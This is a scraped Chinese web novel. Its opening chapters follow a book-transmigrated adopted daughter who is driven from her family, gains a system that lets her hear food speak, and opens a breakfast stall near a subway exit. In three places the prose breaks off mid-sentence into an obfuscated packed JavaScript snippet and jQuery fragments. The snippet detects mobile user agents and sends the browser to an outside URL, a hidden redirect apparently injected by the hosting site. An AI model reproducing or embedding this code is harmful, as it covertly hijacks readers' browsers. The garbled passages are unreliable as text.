《在地铁口开早餐铺[美食]》
1. 第 1 章
“我早就跟你说过,衣服边不要卷着,明天正式接女儿回来,你也稍微打扮好看点。”
“行了行了,唠唠叨叨,果然年纪一上来,你还真成老妈子了!”
男人女人彼此谁也不让谁,这种吵吵闹闹的生活,画春木实则早就习惯了。
她搬着行李箱,就和他们打招呼:“爸、妈,我走了。”
没一个人理会她,比起吵架,沉默和无视显得更加让人郁闷。
就在刚刚,画春木就知道她穿书了。
书里,她是炮灰女配,段家的养女。
五岁那年,她被养父母从福利院接过去,在一个殷实富裕的家庭里生活,好不容易就快摆脱了过去的梦魇。
她却并不知道,养母袁丽珍在第一个孩子走丢后的一次摔伤,导致她不能再次生育,才和丈夫段其毅沟通收养了原主。
后来,在偶然间的一次宴会厅上,袁丽珍看到和她亲生女儿一样的后颈痣,终于亲子鉴定以后,找回了失踪多年的女儿,自此,原主的生活彻底走向地狱。
原本没有血缘关系的原主,再得不到他们之间的任何宠爱,为了弥补没能养育的亲生女儿姣姣的多年遗憾,就要赶走原主,姣姣还没真正入住段家时,就对原主百般折磨、欺凌,认为根本是她占有了自己的爸爸妈妈,愤怒让李福姣一次又一次地对原主非常不客气地语言讥讽一番:“我,才是段家人,今天开始,我就叫段福姣。”
画春木知道,作为他们的养女,没有更改姓氏,足以说明段家父母对原主并不真正重视,而自己才是那个外人,今天,就要离开这里了,看到种种在家中的生活痕迹,都将会被段福姣给替代抹平,心里面纵然是不怎么开心,内心曾经会点燃的一丝火花,全部消失殆尽。
可以说,画春木是被赶出家的,段福姣回来的第一个要求就是让画春木收拾好了她的东西直接滚蛋,离段家远远的,割去他们的所有关系,原主会因为生活变得失意,导致郁郁而终的凄惨结局。
穿来的画春木自然知道她是故事里面的边缘角色。
身为小人物,她有自知之明,等脑海当中的小说大致片段回想结束后,她瞬间变了张脸,手里拎着箱子,脚上只穿着一双她最普通的运动鞋,离开了家。
既然主剧情根本不属于她,那根本没有必要待在这里惹人厌,不如早早脱离了剧情,这样你好我好大家好,她也能彻底地解脱了……
原主在书中设定很差,因为脑袋笨,不爱用功,所以大学就考了个三本院校。
学业不咋地,能力也不怎么行,就是非常不起眼的普通人一枚,只毕完了业,并没有个什么一技之长,毕竟,出来生存是要靠本领的。
原主就是因为不在依靠段家以后,在A市根本找不到很合适的工作,因此消沉许久。
画春木看了看自己银行卡里的余额,以前一个月至少三万的零花钱全没了,只剩她之前有一阵一个月的实习工作开的3000块钱工资了,但这A市的花销和物价,3000块钱能租房子吗?恐怕几顿饭钱就花完,这下该怎么办呢?
她在心里面多少有了一定盘算。
对她而言,现在租房还不是头等大事,如果画春木她没能有养活自己的本事,哪怕是五千块钱,还是一万块,持续性的用这些钱消费,但没收入的情况下,绝对挺不到一周,她就要身无分文到外头捡垃圾了。
站在别墅花园外的十字路口,画春木却有些恍惚。
正在此时,她手机铃声响起,摸出了口袋里的手机,看到是书中跟原主很好的一位朋友打来的电话。
接听后,对方问她:“春木,你现在在哪儿啊?今天不出来玩吗?”
“不了。我要搬离段家。”
“现在吗?是不是那个段福姣,她又欺负你了!难道段叔叔和段阿姨就一点都不管吗?再怎么说,你和他们多多少少生活了近二十年,他们竟然这么翻脸就不认人?也太过分了吧?”
于是画春木把全部情况都跟她说了。
戚芙苓更是惊讶不已:“那你该怎么办呢?”
画春木:“我想要不我去找找郊区的房子吧。”
戚芙苓:“你等我想想办法哈,你现在手里还有多少钱?”
“只有3000块钱。”
“啊,这也太少了,哪够租房的呀,A市的物价高,距离中心地界基本寸土寸金。而且你现在手里的钱,别说不够城内的,郊区的也够呛,你根本就付不起啊,不仅仅是日常花销,关键你总得吃饭吧?你现在还有什么主意吗?”
画春木:“暂时没。”
“办法我倒有个,要不你先临时住我家吧,三个月前,我爸妈刚给我又买了的新房,位置不错,繁华的中心地段,外边就是主要商圈,配套设施还不错。”
戚芙苓的意思是她一个女孩子家到偏僻的郊区,她也不会十分放心,画春木问了需要付多少钱,被戚芙苓说她根本不用付钱,让她把那三千块自己留到手里面,万一需要什么急用的就还能用得上,画春木对她表示了很感谢她,不然自己目前真的无处可去。
原主的这位朋友戚芙苓,父母都是有钱人,和段家熟识,多年来,画春木和戚芙苓两人早就成了无话不谈的好友,怎么可能只因为突然出现的亲生女儿姣姣就打乱他们的关系呢?
画春木还在听筒这边不停地说:“那真是太感谢你了,万分感谢,等我什么时候挣到钱了,我会把该有的租金一定都还给你。”
“好了,你可千万别再说这种话,说实话,我是有点看不过去段叔叔他们所做的事。我替你不值。”
挂断了电话,画春木知道哪怕暂时有了居所,但她还是要赶紧在外找工作的,如果自己不找工作的话,难道一个人喝西北风吗?
入住到戚芙苓的家,戚芙苓整理出了一件卧房,专门给画春木住。戚芙苓并不是独生子女,上面还有一个哥哥。
她的哥哥未来是要继承家族产业的,目前正在海外留学读硕士,而戚芙苓她则是能够稍微轻松一些,但她都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670079|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
海外留学归来,回国凭借优秀简历就能找得到大把大把工作,不用担心任何的事。
“其实我们这波大学生,也挺卷,不过卷卷呢,对大家未来的出路也是好。”
穿前是社畜一枚的画春木,看着戚芙苓家的高端大平层,包括昨天在段家的别墅,就像是小村姑进了城。
要知道,在现实生活中,画春木靠自己一个人可绝对绝对买不起一套房子啊,哪怕是那种老破小,也只能是勉强地租住几个月。
戚芙苓让她安心先住在这边,说如果她到时工作回来,回到家里,安静些,比较适合休息。
画春木:“临时租住这边,我不会住太长时间,等我找到了工作就会搬走。”
“你倒是不用这么急,一直住在这里都行。”
“住在这儿,还不给你钱不太合适。”
画春木很清楚,这毕竟不是自己的家,未来还得靠她一个人,一个脚印一个脚印踏踏实实地走下去。
宅在这里的两天,画春木就一直在网上投简历,然后最终邮箱的回信却空荡荡的,像是一块石头打进了深水当中,沉没,并没起任何波澜。
又是两天过去,仍旧,只有两个公司的HR愿意跟她聊一聊,大多时候,和他们聊了两句以后,就又没有回音。
后来,有三个HR让她前去面试,结果她去了一家公司面试,走入一个七拐八拐才能到达的小巷里,公司位置偏僻,看上去也不是十分正规,另外一家面试HR直接当场谈完,就直接跟她说不会复试,最后一家还不错的公司不仅要求画春木的能力非常强,要她一个人至少可以胜任三份不同工作,还不包括日常琐碎的那些事。
此外,跟画春木也说明了每周要上六天班,早上7点到晚10点,问她能不能接受。
画春木看了看一个月的工资,问他可不可以给到月5000的时候,HR却说最多只能给到4300块。
画春木瞬间有一种熟悉的过往牛马感,其实穿越之前的她就早被上班磨平了棱角,面试都没走到终试,跑了这么两天,她整个人就像是泄了气的皮球。
今天戚芙苓不在家,上班去了,戚芙苓的工作地点是在五百强的公司里面工作的。
就画春木她一人在家,中午就吃一点简单的速食,弄个泡面在加两颗鸡蛋好了。
画春木拿了一个最经典的牛肉味儿的泡面,她先把锅里的水添好,按照包装袋子上的顺序放了小料,然后是酱料,最后下了泡面进去。
最后只需打两颗蛋就行,这时候她忽然听到了一声非常奇怪的声音,画春木在找声音的来源。
“哎呀呀,搅拌要顺时针才行,而且要打到起沫,不然这样的鸡蛋打下去就不蓬松也不好吃哦!”
这是谁和她在说话?画春木的眼睛四周望着,警惕十足。
可明明现在家里面就她一个人,应该是错觉,不,肯定是错觉。
“叮叮——宿主,已被美食读心系统绑定,请自此,开启你的厨神之旅吧。”
2. 第 2 章
一声滋啦啦的系统音传出。
画春木的大脑嗡得一声直接炸开,她没清楚,这是她穿过来绑定的系统吗?
但刚刚那是什么美食读心系统?
所以是鸡蛋在朝自己说话吗?
画春木的脑袋里面太多太多问号,看着在碗里静静躺着的澄黄澄黄的鸡蛋液,陷入沉思。
声音就是从碗里面传出?
画春木于是试着又搅拌了一下,只听鸡蛋啊了一声,尖着嗓音喊:“都说了不要这么搅拌我好不好?”
“宿主您好,818系统为您竭诚服务,请放心,这里的食材本没有生命,只是为了能够让宿主你做出更多更好的美味食物,所以开启了食物读心外挂,让您可以聆听手中食物的声音,得知食物们的心思,了解怎样做饭一绝,赢得人们的喜爱。”
“请宿主把目前的悲伤化为动力,酣畅淋漓的做一场美味的饭吧!”
画春木需要冷静下,她在小说里听过能读人心声的,能读动物心声的,但是读食物心声的,这还真是头一回!!
当然,既然她已经穿书,就也没所谓什么相不相信,在她看来,这个世界已经够魔幻的了……
画春木于是按照它的要求,努力搅拌出泡沫以后,把蛋打进了锅中,步骤变得小心翼翼又很谨慎,难道这样做出来的食材能有什么区别吗?
等饭彻底做成后,画春木用筷子夹起,因为烫,就晾了会儿,然后她尝了一口,面条其实还是牛肉的原汁原味,但这个鸡蛋却吸满了汤汁,而且非常饱满润滑,里面的澄黄颜色溏心和外面的面直接融在一起,那种一场独特的沙沙口感在她的味蕾之间直接爆炸了。
画春木自言自语道:“好像是和我之前吃的有些不同了。”
系统:“是的宿主,其实你没有发现世界上的食材,尤其是大众食材都几乎并没什么不同之处,它们唯一的不同就是在做法上的创新以及手法上的熟练而已,如果同一个人有不同的两种手法,所做出来的味道都是不一致的。”
系统说的倒是头头是道,画春木开始还不觉得有什么,但在真正吃了这个泡面的时候,她就发现系统它说的这番话确实没毛病!
而且在改变了食材的做法之后,竟然连口感都能多上好几个层次。
这未免也太夸张了!!
晚上,戚茯苓带了她的一位女性的同事朋友过来,说是要一起在家吃个饭。
女同事见到了画春木,双方打了招呼。
“你好,我叫画春木。”
“你好,我叫冯倩文。”
二人互通了姓名以后,戚茯苓说:“我和倩文一般周五晚上会到彼此的家吃饭,主要周五特定时间追剧。”
画春木:“那你们是自己做饭吗?”
戚芙苓:“自己做着多累啊,有时候我们就点外卖,点外卖多方便,就那么随意吃一些,我和倩文待在一起,追剧更加重要点。”
说到吃饭,冯倩文似乎有话要说,她道:“对于吃饭,我还比较挑,午饭晚饭好说,就是早餐有时因为车辆限号,赶地铁又不能在地铁上吃,索性就不怎么吃早餐,或者特别随意,就也吃不太好。包里面装点零食或者面包就行。”
戚芙苓:“我倒还好,因为通勤距离比较近,倩文她家住得离公司远一些。”
冯倩文:“对,我家是靠近郊区那边了。”
画春木听罢,说:“早饭也是该吃的,这样一顿不吃,一整天都会没精神。”
戚芙苓只是笑了一笑:“好了,先不聊了,我们得抓紧时间点个外卖吧。”
画春木忽然说:“这样吧,我帮你做饭。”
“你会做饭?”
画春木:“我会啊。”
“为什么我以前从没听你提到过做饭这事儿?”
“没提到,不代表我不会嘛。”
画春木就这样说着,把原主她不会做饭的事遮掩过去,画春木以前就是上班族的,多多少少也是会自己做点饭的。
可以说,手艺还算不错吧。
戚芙苓最终同意:“行,你要是不嫌麻烦就好。”
“正好我冰箱里面囤了一些菜,冰箱是恒温保鲜的时间长,所以菜应该没有坏。”
画春木拿出所需的菜品,确实,菜和肉都还挺新鲜。
她于是就开始做起了饭,就用刚刚系统给到的方法,所有的食材都能与她对话,画春木用大约50分钟的时间做出了四道菜。
一道红焖鸡翅,一道醋溜酸鱼,一道番茄炒蛋和一道蒜蓉茄子。
做好以后,她就把碗筷和米饭拿到餐桌上。
“你们尝尝味道如何。”
饭菜的实验开始了,画春木希望他们能够给到自己一些及时的反馈才好。
白大米的稻香气混着淡淡的糯香味道,一粒一粒晶莹的米粒顺着喉头吃下,戚芙苓吞咽下去后,忽然说:“春木,你用我家哪种米做的啊?”
画春木:“阳台上面放着的一个米袋子。”
戚茯苓家里面有两种米,一种高档大米,一种就是超市里面极其普通的大米,戚芙苓:“这米饭,感觉比我曾经在五星级饭店里吃到的一次米还要好吃,那还是特殊工艺制成的精良大米,春木,你是怎么做的呀?”
“其实也没有什么,正常步骤做的。”
画春木就只是在做白大米的时候,听到大米对她说:“我需要被淘六次水,将里面的杂质全部淘洗干净以后,上锅前,你的淘洗最后一遍,就是要依次对我的全部米粒进行一番细心的按摩,且要在火温正常的情况下,我需要蒸上50分钟,这样时间多不少口味会更佳呦!”
画春木果断就照它所说,一步不落地做成了,没想到直接被戚芙苓和冯倩文两人直接夸上了天。
其余菜品更是味道丰富,戚茯苓:“春木,你要再努力努力的话,都完全可以超得过外面米其林做
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670080|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的最高级别的饭了,也太太太好吃了吧?你这第一次做饭,就要成为神厨了呢。”
画春木:“真有那么吃吗?”
“你自己尝尝啊。”
画春木还没吃,看着她们两人脸上绽开的笑,尝了一尝,每一道菜和米饭,她吃完以后,会有一种灵魂升腾之感,说不上来的惊艳味道,她自己也难以相信,多亏美食系统,给饭菜全部注入了一些鲜活的滋味。
戚芙苓:“不行,我原本就是想追剧,现在剧也追不下去了,我只想低头再吃上三大碗,但再吃下去,我的肚子就要胀大了……”
冯倩文:“我倒和你不大一样,但我感觉原本我只能追三集的,现在我能知道十集,芙苓,你的朋友做饭怎么这么好吃啊!吃了你朋友的饭,简直上头!!”
戚芙苓也不清楚,只是停不下来嘴巴里面的咀嚼,再配着冰的汽水,是一种极其美好的享受哇!
等戚芙苓的女同事走后,她就问了画春木的这几天找工作的情况怎么样,画春木实话和她说了。
“的确,现在找到一份合适的工作并不容易的,但你千万不要因此灰心啊。”
戚芙苓:“我需要帮你什么吗?”
“不用了,你已经帮我帮得够多了。芙苓,我很感激你,不是你,这几天,我就没有地方住,估计就要睡天桥,睡街头了。”
画春木她表示说:“我已经想好了,明早我不再去找其他工作了,我想去各个地铁口看一看,我想有一间自己的早餐铺子,就是规格类似小吃档口那种,那边要是有可以长期租赁的,我就多去看几个位置好了。”
戚芙苓:“哦,不是移动餐车,是档口那类吗?好啊,我完全支持你,早餐店确实不少,但有时就没那么方便,我觉得你想得对,与其跟别人打工,不如为自己打工,你有这个心,就可以尝试尝试,这也没什么的。”
隔天,画春木就到各个地铁站,根据人群流量,以及地理位置和租金价格,她就选定了A市中心的一处春岩路,春岩路的租赁档口租金8000一个月,这还是已经降价了的,思来想去,画春木还是觉得这块儿地段好,只能借戚芙苓一部分钱,先把档口定下来。
花上两天时间办好了一些琐碎的手续,加上打扫档口,一开始不少的困难,而且很累,不过她终于拥有了属于自己的一个档口,这个档口自带一个站立式的简易餐台,这样,客人们有的就可以在餐台旁边直接吃早餐,不用非要匆忙赶路吃饭了,这点画春木早先考虑到,不想档口直接自带有,那就更加便利些。
现在,画春木就在制作菜单。早餐无非是一些包子、饭团、蒸饺、烤肠等,她想可以种类多一些,客人们的选择性就更丰富了。
她抓紧付诸行动,自己先是草拟大致的价格菜单,等她明天早起,六点一刻就得出发,这边有大型菜市场,但价格偏贵,所以画春木就只能是去距离这里很远的一家便宜菜市场买她所需疏菜和肉。
3. 第 3 章
三天后的菜场上面,画春木直接按照菜单添加食材。
画春木在一个摊位前挑拣的时候,看到许多的胡萝卜,正不知道该选哪个好,就听到了一道声音:“挑我和我姐妹都行!别看我们满是泥土,表面脏脏的,但我们可没有喷药喷水,隔壁的一家,虽然跟我一样纯天然,但它的价格要比我至少贵一倍呢!”
画春木寻找到了声音来源,看来正是自己面前的这一堆的胡萝卜发出的,找到源头以后就在那堆菜里面挑,质量准没错的。
原本在这么大的一个菜市场里面确实容易挑花了眼,这样倒是能够让她快速地准确地挑出些好的食材,这里不是什么高端菜市场,很多的摊贩们基本都在露天环境下风吹日晒,一年四季在这边,每个人的脸都晒得有些红。
画春木目前就买了两种菜,原本她带着一个彩色的布兜的,但后来想想,估计也装不下多少,拎着还沉,幸好她这次直接拿了一个小型拉车,可以有很大的容量,这还是她前两天在网上购买的一款蓝色的拉车,然后,画春木又到卖肉的地方去,那是一个个独立的小小商铺,未来听说这里还会再次改造建设,不会露天,全部都会转移室内,肉菜区域直接分隔开。
最终,画春木买了火腿肉、胡萝卜、青椒、土豆、番茄、大米、紫菜、各式酱料等等,东西还都挺全,装上车,画春木直接拉着走,交通工具当然就是最基本的最省钱的公交了。
满载回了档口以后,她前天线下自己挑选购买的冷柜和电饼铛以及其他用具等都全部送了过来。
店面门头十分重要,她已经用木铲铲下了以前贴在上面的一些小广告痕迹,又重新翻修了一遍门帘,颜色必须亮一些,具有温馨的氛围感,这样才能吸引客人的到来。
把肉全部放进储物柜中,菜也放进该放的地方,这样整了一个上午,确实很累,画春木稍微捶打捶打自己的肩背,在里间一个小的座椅上歇了半刻,想起她还没吃早饭,可她东西还没完全收整好。
于是她就先到旁边的档口吃个饭。
其他的三个档口,分别主做的是宋氏酱肘子、王家烤面筋,和一个友友凉粉。
凉粉她不怎么吃过,估计会好吃,于是去了友友凉粉店。
友友凉粉的小吃档口那边,是一个肌肉壮实的大叔在。
画春木还没买,就听一位顾客对老板说:“徐老板,你说你明天撤摊了我到时候上哪儿找你去啊?你这里做的饭挺好吃的。”
那位大叔说:“哎!我也不想撤,但客人们大多不往这边来,租金每天这么贵,我也得有钱吃饭啊,首先有了客人才行。好多天都没有营业额,走,就是迟早的事儿。”
“老板,那你到其他地方还做凉粉吗?”
“不一定再做。你要想吃,加我一个微信,如果我到其他地方再开业,你去找我。”
“那成!”
凉粉做好就递给那位男顾客后,画春木才走过来,她看了看菜单上的价格,小份凉粉3元,中份的5元,大份15元,其实价格并不算很贵。
刚刚的话,画春木她也听到了,她要了一小份,里面有油泼辣子、醋味儿很浓,还淋上了不少的酱油,酱油味道一点儿不咸,味道不算惊艳的程度,但确实很不错了。
于是画春木问老板他为何要真的撤了,凉粉味道不错,应该可以留得住人。
对方叹了一口气:“这年头,生意不好做。以前,我们店还是两口子一起做,店里没啥人,我那媳妇儿不来,就我一个人还在坚持,又等了一个年头,生意不见起色,就该离开了。”
“小丫头,你没看到周围的店早就换了一拨又一拨。”
这个画春木倒是知道,因为她小时在这边上过小学,大概知道旁边的店铺换了多次,那时,右边的街道处就是一家重庆小面和一家炸鸡店,现在都换成服装店和一个玩具饰品店,多数不怎么盈利的店很多都没了,然后继续有别的店开业。
如果不能盈利,许多店不能在这边待太久,画春木问他怎样才能在这里留得长久些。
大叔看他诚心发问,于是对她说:“味道。说白了,这里位置不错,你看,旁边不远就是地铁口,人流量根本不缺。”
“所以关键味道好一定是第一位,再者就是食物大众一点,像凉粉,我们家乡那边吃的人较多,大都市嘛,会吃大众一些的美食,但我就这手艺,再想转也挺难,没关系,撤摊并不代表什么,不行换个地方继续呗!我还是保持一定乐观的。”
画春木听到店老板的话,也更明白了,大众的餐食确实重要,毕竟是要比小众餐食要更受人欢迎的,这点毋庸置疑。
原本她还想在菜单上增添一些可口的小众食物的,后来又想可能更加便捷和符合大众的,才会成为让大众接受的口味吧。
她没再与老板多聊,回到自己的档口,一边吃着凉粉,一边在自己的菜单上面加以改善一番。
终于,准备妥当后,后天,就是开业时间。
早晨大约7点,画春木自己塞了一个紫米的面包吃,她最近这种零嘴买的比较多,这样的话早饭都有了着落,而且不会花费很多钱,主打一个节俭。
七点一刻,画春木正吃着饭,用纸巾擦了擦嘴巴,就忽然到来了一位顾客,她朝窗口望过去。
“这儿是卖早点的吗?我想买一个鸡蛋灌饼。”
她没有想到档口这边这么快就来了第一位客人,女士一只手牵着她的孩子的手,画春木过去就看到了女孩大致8岁左右,头上扎着两个小辫子,长得可可爱爱的,脸颊处带着脸颊肉,一双水汪汪的大眼睛正对上了画春木。
她这一眼,看得画春木整个人都快融化了……
前些天,画春木已经把所有的需要用火的锅具全部试了一遍,确保完全没有问题时,才进入下一步地使用,此刻,她开始处理食材,鸡蛋饼需要用到电饼铛,不过也简单。
她赶紧开始调面糊,面粉鸡蛋加上少量的葱花和香油,就是面糊的成分组成了,面糊这时候开口道:“记住,我不能搅得太浓稠了,要均匀才更好,而且要把我摊在电饼铛上面,薄厚必须适中,口感才会更加酥嫩。”
在此期间,画春木问:“需要加生菜吗?咸菜还是辣条?酱料都要吗?要加火腿还是里脊肉?”
女人:“都要,都要,就辣椒不要啊。”
冻着的里脊肉:“我要更热一点,更热的环境下,我的肉质才会更汁水丰盈。”
于是画春木照做,所需食材它们的心声她都能听得到。
过程中,画春木问她的小孩是不是就在附近的丰菱小学上学,盘发女人秋季月说:“是啊,他们这边是差不多8点半到校,所以就带她来吃一顿早餐。然后送她到了学校门口,我就得坐地铁上班。”
小女孩嗯了一声,发出软软糯糯的嗓音,道:“我妈妈怕她做饭晚了,来不及。”
提及这点,秋季月还有些尴尬,只好跟画春木解释说:“我在家做饭慢些,而且给她做过几次饭,孩子她都不怎么爱吃,久而久之,我就也不经常自己做饭了。”
秋季月她说完话,问画春木现在是在洒什么,画春木:“哦,白芝麻。这是白芝麻碎。”
“哦。是和花生碎差不多的味道吗?”
“味道不大一样,白芝麻的香气更多些。”
“以前好像没有加这个的?”
“白芝麻的话,会更融合饼皮的味道,您吃了就知道了。”
女人半信半疑中,不一会儿,鸡蛋灌饼的香味儿直接萦绕她的鼻尖,秋季月就看着旁边的宝贝女儿,问她:“莲莲,你想吃吗?”
莲莲点了点头,踮起脚尖,画春木发现她的小脑袋正探了进来,在窗口这边,小鼻子嗅着香气。
“你怎么想吃啊?”
“妈妈,妈妈我想吃想吃,什么时候才能好啊,好想吃啊!”
秋季月安抚她,摸摸女儿的头:“漂亮姐姐她一会儿就能给你的鸡蛋饼做好了。”
画春木在做的时候,秋季月就在旁边看着,也激起了食欲,反正她今早也还没有吃饭,有点儿馋,对画春木说:“要不你再给我来两份鸡蛋饼吧,再来两份粥,不打包,就在这边吃。”
“什么粥呢?”
她看了看正前方贴着的菜单,上面写了什么黑米粥、八宝粥,绿豆百合粥和西米露等,选了八宝粥。
所有的粥几乎都在温水里面泡着的,画春木于是先把两杯粥给了她,秋季月接过以后,以为会很烫。
画春木:“虽然天热,但喝凉的,对胃不好。太热太烫的粥和杯壁接触,恐怕就会产生一些不好的物质,最好保温比较合适。”
秋季月:“你这弄得还挺好。”
他们两人就在这边吃,直接就坐在了简易餐台上,秋季月抱起了莲莲,让她坐定以后,把包装纸往下拉了拉,鸡蛋灌饼露了出来。
“好啦。尝尝吧,看看味道合不合你的意。”
莲莲小心地咬了一口,见她吃上,秋季月才开始吃。
咔嚓一口,天!这饼也太太酥脆了吧?饼皮搭配着那个白芝麻碎,还有咸香酱的味道,一整个味蕾爆炸!!
秋季月感觉鸡蛋饼好吃到自己想要直接把舌头给吞下去了。
一口就是满满的香,而且里面还加了小的咸菜,咸菜里面还是有点黄豆粒,一切调味都刚刚好。
这还是最普通的版
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670081|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本,豪华版本的是要里面加一些鱼丸还有辣条之类,但仅仅这样,就已经够好吃了……
粥的温度正好,整个煮透的感觉,里面的糯米、红豆搭配芸豆,还有小米,居然尝出了一股桂花香,不是那种过分的甜,带着冰糖的甜滋滋的味儿,秋季月好吃到已经说不出任何话。
活泼的莲莲也是一样,只顾着低头一味地吃,秋季月:“你这的八宝粥好好喝啊,是有什么秘方吗?”
“也没。”
“我以前也在像这种早餐铺喝过粥,没有这么好喝的粥,味道比之前的不大一样。尝着,就是料都一样啊。”
她话音未落,档口又来了人。
身形瘦弱,稍微有点驼背,手中拿着蒲扇,一边扇风一边问:“这儿卖早餐的?”
画春木:“是,您想要点什么呢?”
画春木十分热情地回答,这位姓孙的老爷爷一直就在这附近住,平时就在这片晨练过后,到这边吃顿早餐,今天有个档口以前并没见过的,于是向前走走,发现原来这是一家早餐铺子。
坐着的女人和小孩,吃得正香,食物的卖相看上去也不错,直接问:“你们吃的这是什么?”
莲莲:“爷爷,这是鸡蛋灌饼,您要吃吗?”
老爷爷被这味道吸引,问画春木:“这儿都卖什么?”
画春木:“这里贴的有。如果您看不清,这里还有一份菜单给您看看。”
他拿着了一份菜单,说是想要一份饭团尝尝,画春木于是就开始做一份经典饭团,经典的就是原味儿饭团,里面需要加一块鸡胸肉,鸡胸肉需要把它煎熟,热油翻转它。
三角形的饭团,紫菜和米饭更是重中之重,调味显得尤为的重要,画春木就在做饭时,老爷爷说:“这是家新开的档口,我没在这里吃过,不知道好不好吃啊。没吃过的,我也怕不好吃喽!”
秋季月:“我不知道其他的味道好不好,但我这一份鸡蛋灌饼确实好吃,您听孩子说,孩子不会撒谎的。”
莲莲:“好吃!特别好吃!!!”
听到孩子都这么说,孙老爷爷他就更加好奇饭团会是什么味儿了,心里有点小期待了。这时的画春木,开始摆肉松,肉松加上里头的咸蛋黄酱,肉松:“要把我捏得很碎,才可以让客人们每一口都能吃得到肉松口感。”
紫菜:“请把我直接包裹在饭团的外面,必须贴着米饭,压得紧紧的,不要给我和米饭之间留任何余地。”
画春木依照它们的心声,这样不停地做,不停地房食材,然后卷在了一起,每一个步骤都要做到最极致,不能出错。
饭团做好,老爷爷说他就在这边吃。米饭的口感极软,肉松夹在其中,内里虽然添加了香油,但油水并不大,反而衬得米饭更加油润了些。
软硬适中的口感,全部弥漫在了口腔之中,很少有些时候,能让他感到吃饭的一种味蕾上的惊艳,吃了一口就有点停不下来。
这边,秋季月:“多少钱?”
画春木:“普通的鸡蛋灌饼是一份2元,2份4元,加上粥的话,一共16.5元。直接扫码支付就行。”
“好。”
秋季月带着莲莲,说:“好吃的话,下回再来,周末还是妈妈给你做。”
莲莲摇了头:“我还是想吃这位姐姐做的饭。明天还来嘛,还来!”
“明天不可以哦,明天周六,姐姐休息哈,咱们周一再来。老板,你一天都营业吗?还是九点就不售卖了。”
一般的早餐店营业时间,早餐的话,就一般早六半到九点左右,不会更晚,但画春木她并不是只卖早餐,还有一些小食什么时候都能卖,画春木:“上午5点半到晚上8点我都在。”
老爷爷这时说:“我就住附近的幸福小区,我到这边很近,你这里的早餐挺好吃,我就到时经常来。”
孙老爷爷他自老伴儿去世以后,就一直是一个人住在这边,知道家里面人都忙,不去打扰他们,一人有时确实会感到孤独,他就每天都早起去晨练,日日坚持。
而画春木做的饭,直接就慰藉了他的心灵,他很开心,吃得很慢。
画春木发现后,问:“爷爷,是不是紫菜不大好咬啊?”
“挺容易。我右边有颗假牙,我怕咬不动,很好咬。”
画春木:“您一口一口吃得慢,我以为是不好吃。”
“没有。就是因为实在太好吃了,我才想要慢一些,再慢一些吃,不然不就吃完了吗?”
“吃完了,想吃可以再买一份。”
“不行不行,我要吃,那就不止一份了,我岁数大了,怕要是不节制,就把胃给吃坏了。但确实是好吃啊,太好吃了!!”
4. 第 4 章
开业头一天,画春木成功开张,这是一个好的预兆,这下她的干劲十足,今天下来,客人来了7位,她挣了130元,还得再接再厉啊。
她得必须卖得更好些,才能覆盖基本的每月租金,而且她到时还想升级一下锅具,锅具虽然用着还不错,但因为每次做饭的时间长,下一位客人的等待时间就久了些,这点,她还是要改良下了。
周一清晨整五点,天已经变晴,路上不少人开始了一整日的忙碌,他们步履匆匆,为了工作并不轻易停下步伐,人群如同潮涌,一股脑儿地进到各种出租车、私家车和地铁站。
地铁站的人群更多,他们不停地朝着一个方向走,外面的景色顾不及看,更没时间欣赏,伴着画春木蒸锅上的热气腾腾,白雾袅袅,卷帘门拉开的一瞬,老板画春木的脸上洋溢着那种喜悦,又是满满的一天能量!!
今天她蒸得包子好几种味道的馅料,早起她就来包,馅料全部塞得满满当当,蒸出来的时候,汁水的味道生在外溢……
尧心蕊是一家生物医药科技公司的员工,很早就离开父母,独自一人到A市来闯,自己在这边租房住,每个月的奖金就刚刚够她租房子的花销,每天都匆匆地上班,再急匆匆地下班,在这座城市她体会不到自身的归属感,比起这个,照顾双亲,让他们在家乡县城里过得好一些,无非,为了生活而已。
还是准时地到点上班,同样的时间点到达了地铁口,她不能迟到,迟到就会被罚工资,尧心蕊昨晚熬了大夜,修改ppt,站在地铁口前,肚子就咕噜噜地叫,昨晚她并没有好好地吃一顿饭。
很饿的时候,胃里就会翻江倒海地发起它的自我反抗,一股飘香的味道直接肆无忌惮地溜进了她的鼻腔,打得她整个人措手不及,在她的包里,是有巧克力,有时,她就通过一点点的甜食,每天早晨补充一些营养就行。
通常早上她就不怎么吃饭,有点饱腹感就可以,她不是真的对早饭没有追求,时时刻刻的忙碌已经让她忘记了该吃早餐。
“这是什么味道啊?好香!!”
有客人来了,画春木在档口里面正在准备其他的原材料,对方看起来跟她岁数差不太多,画春木:“是新出炉的包子啊。想买一些吗?”
